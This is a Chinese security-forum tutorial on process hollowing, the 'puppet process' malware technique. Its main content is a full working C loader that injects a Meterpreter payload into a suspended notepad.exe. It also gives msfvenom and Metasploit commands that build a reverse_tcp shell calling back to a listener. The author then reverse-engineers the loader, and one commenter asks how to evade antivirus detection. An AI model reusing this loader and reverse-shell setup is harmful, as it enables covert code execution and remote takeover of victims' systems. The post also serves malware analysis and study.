首页
论坛
课程
招聘
[原创]病毒木马常用手段之偷天换日
2022-5-22 00:26 8875

[原创]病毒木马常用手段之偷天换日

2022-5-22 00:26
8875

前言

傀儡进程这种技术其实很早就出现了,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置。程序先以挂起方式创建某个进程A.exe,然后将另一个进程B.exe映射到A.exe进程的内存空间,并在A.exe进程中运行,如下图
图片描述

傀儡进程原理

1、使用CreatreProcess创建进程时传入CREATE_SUPENDED以挂起方式创建目标进程
2、调用NtUnmapViewOfSection卸载目标的内存数据
3、调用VirtualAllocEx在目标进程申请内存
4、调用WriteProcessMemory向内存写入ShellCode
5、调用GetThreadContext获取目标进程的CONTEXT
6、调用SetThreadContext设置入口点
7、调用ResumeThread恢复进程,执行ShellCode

注意事项

1、选择目标进程
选择目标进程时,不能对已经运行的进程进行替换,因为无法控制指针,也无法获得主线程句柄
2、卸载内存数据
在卸载目标进程内存时需要使用未导出函数NtUnmapViewOfSection,需要从ntdll.dll中获取,其实NtUnmapViewOfSection还可以用来结束进程
3、申请内存
使用VirtualAllocEx函数申请内存时,可以将目标进程的ImageBaseAddress作为申请内存空间的首地址,这样做的好处是可以不用考虑重定位的问题
4、写入ShellCode
在目标进程中写入ShellCode时,如果ShellCode和目标进程的ImageBaseAddress存在偏移,需要使用.reloc区段进程重定位
5、恢复目标进程的运行环境
完成替换后要调用SetThreadContext修改EAX寄存器(进程的入口点),这也是为什么之前要用GetThreadContext获取目标进程的CONTEXT,最后调用ResumeThread恢复线程运行

实战

接下来我们在使用Kali生成一个反弹端口木马,取名test.exe,然后在Kali上进行监听,等待目标系统上线。然后将test.exe复制到Windows桌面,为创建傀儡进程做准备。

 

在Kali上会用到如下命令

1
2
3
4
5
6
7
8
msfconsole    #进入MSF控制台
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe  #生成木马,lhost是我们的主机ip,lport是我们主机的用于监听的端口
 
use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
set payload windows/meterpreter/reverse_tcp  #设置payload,不同的木马设置不同的payload
set lhost 192.168.10.27   #我们的主机ip
set lport 8888            #我们的主机端口
exploit                   #执行

创建傀儡进程完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "io.h"
 
//傀儡进程
#define Puppet L"C:\\Windows\\System32\\notepad.exe"
 
//ShellCode
#define PayLoad L"C:\\Users\\admin\\Desktop\\test.exe"
 
#define STATUS_SUCCESS                        (0x00000000L)
 
 
typedef NTSTATUS(WINAPI *PFZWUNMAPVIEWOFSECTION)
(
HANDLE      ProcessHandle,
PVOID       BaseAddress
);
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
 
 
//主函数
void _tmain(int argc, TCHAR *argv[])
{
    STARTUPINFO                si = { sizeof(STARTUPINFO), };
    PROCESS_INFORMATION        pi = { 0, };
    LPBYTE                  pRealFileBuf = NULL;
 
 
    // 准备要写入傀儡进程的数据
    if (!(pRealFileBuf = ReadRealFile(PayLoad)))
        return;
 
 
    // 创建傀儡进程
    if (!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    {
        printf("CreateProcess() failed! [%d]\n", GetLastError());
        goto _END;
    }
 
    // 卸载傀儡进程内存空间数据
    if (!UnmapFakeProcImage(&pi, pRealFileBuf))
    {
        printf("UnmapFakeProcImage() failed!!!\n");
        goto _END;
    }
 
    // 在傀儡进程内分配内存并将shellcode写入分配的内存
    if (!MapRealProcImage(&pi, pRealFileBuf))
    {
        printf("MapRealProcImage() failed!!!\n");
        goto _END;
    }
 
    // 恢复傀儡进程的主线程
    if (-1 == ResumeThread(pi.hThread))
    {
        printf("ResumeThread() failed! [%d]\n", GetLastError());
        goto _END;
    }
    //等待返回
    WaitForSingleObject(pi.hProcess, INFINITE);
 
_END:
    if (pRealFileBuf != NULL)
        delete[]pRealFileBuf;
 
    if (pi.hProcess != NULL)
        CloseHandle(pi.hProcess);
 
    if (pi.hThread != NULL)
        CloseHandle(pi.hThread);
}
 
 
 
LPBYTE ReadRealFile(LPCTSTR szPath)
{
    HANDLE                  hFile = INVALID_HANDLE_VALUE;
    LPBYTE                  pBuf = NULL;
    DWORD                   dwFileSize = 0, dwBytesRead = 0;
 
    hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (INVALID_HANDLE_VALUE == hFile)
        return NULL;
 
    dwFileSize = GetFileSize(hFile, NULL);
 
    if (!(pBuf = new BYTE[dwFileSize]))
        return NULL;
 
    //memset(pBuf, 0, dwFileSize);
 
    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
 
    CloseHandle(hFile);
 
    return pBuf;
}
 
 
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
    DWORD                   dwFakeProcImageBase = 0;
    CONTEXT                 ctx = { 0, };
    PIMAGE_DOS_HEADER       pIDH = NULL;
    PIMAGE_OPTIONAL_HEADER  pIOH = NULL;
    FARPROC                 pFunc = NULL;
 
    // 获取傀儡进程CONTEXT
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(ppi->hThread, &ctx))
    {
        printf("GetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 获取傀儡进程基址
    if (!ReadProcessMemory(
        ppi->hProcess,
        (LPCVOID)(ctx.Ebx + 8),     // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase
        &dwFakeProcImageBase,
        sizeof(DWORD),
        NULL))
    {
        printf("ReadProcessMemory() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 获取
    pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
    pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
 
    //如果PayLoad进程基址和傀儡进程基址相同,调用ZwUnmapViewOfSection()卸载
    if (pIOH->ImageBase == dwFakeProcImageBase)
    {
        // 调用 ntdll!ZwUnmapViewOfSection()
        pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwUnmapViewOfSection");
        if (STATUS_SUCCESS != ((PFZWUNMAPVIEWOFSECTION)pFunc)(ppi->hProcess, (PVOID)dwFakeProcImageBase))
        {
            printf("ZwUnmapViewOfSection() failed!!! [%d]\n", GetLastError());
            return FALSE;
        }
    }
    else
    {
        // 否则直接修加载基址就可以
        WriteProcessMemory(
            ppi->hProcess,
            (LPVOID)(ctx.Ebx + 8),  // PEB.ImageBase of "fake.exe"
            &pIOH->ImageBase,       // ImageBase of "real.exe"
            sizeof(DWORD),
            NULL);
    }
 
    return TRUE;
}
 
 
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
    CONTEXT                 ctx = { 0, };
    LPBYTE                  pRealProcImage = NULL;
    PIMAGE_DOS_HEADER       pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
    PIMAGE_FILE_HEADER      pIFH = (PIMAGE_FILE_HEADER)(pRealFileBuf + pIDH->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER  pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
    PIMAGE_SECTION_HEADER   pISH = (PIMAGE_SECTION_HEADER)(pRealFileBuf + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
 
    // 在傀儡进程中申请内存
    if (!(pRealProcImage = (LPBYTE)VirtualAllocEx(
        ppi->hProcess,
        (LPVOID)pIOH->ImageBase,
        pIOH->SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE)))
    {
        printf("VirtualAllocEx() failed!!! [%d]\n", GetLastError());
        return FALSE;
    }
 
    // 写入 SizeOfHeaders (DOS头+NT头+节表的大小)
    WriteProcessMemory(
        ppi->hProcess,
        pRealProcImage,
        pRealFileBuf,
        pIOH->SizeOfHeaders,
        NULL);
 
    // 写入各个区块
    for (int i = 0; i < pIFH->NumberOfSections; i++, pISH++)
    {
        if (pISH->SizeOfRawData != 0)
        {
            if (!WriteProcessMemory(
                ppi->hProcess,
                pRealProcImage + pISH->VirtualAddress,
                pRealFileBuf + pISH->PointerToRawData,
                pISH->SizeOfRawData,
                NULL))
            {
                printf("WriteProcessMemory(%.8X) failed!!! [%d]\n",
                    pRealProcImage + pISH->VirtualAddress, GetLastError());
                return FALSE;
            }
        }
    }
 
    // 获取傀儡进程CONTEXT
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(ppi->hThread, &ctx))
    {
        printf("GetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
    //修改傀儡进程入口点虚拟地址
    ctx.Eax = pIOH->AddressOfEntryPoint + pIOH->ImageBase;  // VA of EP
 
    if (!SetThreadContext(ppi->hThread, &ctx))
    {
        printf("SetThreadContext() failed! [%d]\n", GetLastError());
        return FALSE;
    }
 
    return TRUE;
}

程序执行后成功创建傀儡进程(notepad.exe)
图片描述
并且成功反弹Shell
图片描述

逆向分析创建傀儡进程过程

先找到main函数
图片描述
调用CreateFile、GetFileSize、ReadFile读取test.exe到内存中
图片描述
图片描述
调用CreateProcess并传入CREATE_SUPENDED以挂起方式创建notepad进程
图片描述

 

当傀儡进程以挂起方式被创建时,处于暂停状态,PE加载器会将PEB结构体的地址设置给EBX寄存器,所以通过GetThreadContext函数获取notepad主线的CONTEXT就可以得到EBX,也就是PEB的地址,得到PEB的地址之后就能使用ReadProcessMemory取得notepad.exe的加载基址

 

调用GetThreadContext获取notepad(傀儡进程)主线程上下文环境,用来获得进程的PEB
图片描述
调用ReadProcessMemory获取notepad进程基址
图片描述

 

比较notepad进程的加载基址和test.exe的是否相同,如果相同的话会发生冲突,就需要使用ZwUnmapViewOfSection函数卸载原来notepad进程的映像。如果不相同,可以不卸载
图片描述

 

我这里由于加载基址不相同,不用卸载notepad进程的映像,但是需要告诉PE加载器新的映像基址(test.exe的基址),而不是notepad原来的基址。调用WriteProcessMemory将notepad进程的PEB.ImageBase的值修改为test.exe的加载基址

 

图片描述

 

调用VirtualAllocEx在notepad进程中为test.exe申请指定的内存
图片描述
调用WriteProcessMemory在notepad进程中映射test的文件头
图片描述
使用循环映射PE节表,根据PE节数量调用WriteProcessMemory(),循环完成后test彻底被映射到notepad进程空间
图片描述
为保证映射到notepad中的test能够正常运行,需要调用SetThreadContext设置正确的EIP
图片描述
最后调用ResumeThread恢复线程运行
图片描述

逆向分析傀儡进程

如果想调试此种类型的程序,有很多方法,现在我们可以设置无限循环的方式进行调试,具体方式如下
1.查看程序入口点
图片描述
在010Edit中跳转到162D这个位置,然后修改两个字节为0xEB 0xFE(0xEB 0xFE是无限循环指令,相当于Jump Address = NextEIP()+0xFE(-2)),修改信息如下图
修改前
图片描述
修改后,记得Ctrl+S保存
图片描述

 

然后就可以附加调试了,如下图
图片描述

 

附加到调试器后,程序在系统库区域暂停,如下图
图片描述

 

使用Ctrl+G直接跳转到40162D这个位置
图片描述
然后使用F2在EIP地址处设置断点,然后F9运行,断下来之后使用Ctrl+E将指令恢复原来的代码(0x42,0x42),接着就可以开始调试了
图片描述

最后

其实通过傀儡进程这种方式执行恶意代码在大量的样本中都会遇到,各种病毒木马对此情有独钟,而且常常是多层套娃,通常还会结合一些反调试技术和混淆增加逆向分析的难度,给逆向分析人员带来极大的挑战,虽然技术难度不高,但是多种手段结合使用起来恶心人还是有一套的,所以掌握各种调试方式对我们的帮助是非常有用的。好了,就到这里,如果有些地方需要补充,我会及时更新的。


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

最后于 2022-5-23 14:21 被寒江独钓_编辑 ,原因:
收藏
点赞5
打赏
分享
最新回复 (5)
雪    币: 623
活跃值: 活跃值 (253)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hackerbob 活跃值 2022-5-22 09:34
2
0
非常感谢,你的文章让我收获颇丰,尤其是之前的Conti勒索软件分析
雪    币: 229
活跃值: 活跃值 (680)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Grav1ty 活跃值 2022-5-22 12:31
3
0
mark
雪    币: 192
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_星空_514 活跃值 2022-5-26 06:20
4
0
这个和当时滴水看到的傀儡进程比较相似,不过这些api一调用火绒就会拦截报毒,有什么其他方法绕过吗
雪    币: 3896
活跃值: 活跃值 (1148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
htpidk 活跃值 2022-5-26 09:04
5
0
这种技术确实有够老了
雪    币: 128
活跃值: 活跃值 (908)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 活跃值 2022-5-26 09:06
6
0
mark
游客
登录 | 注册 方可回帖
返回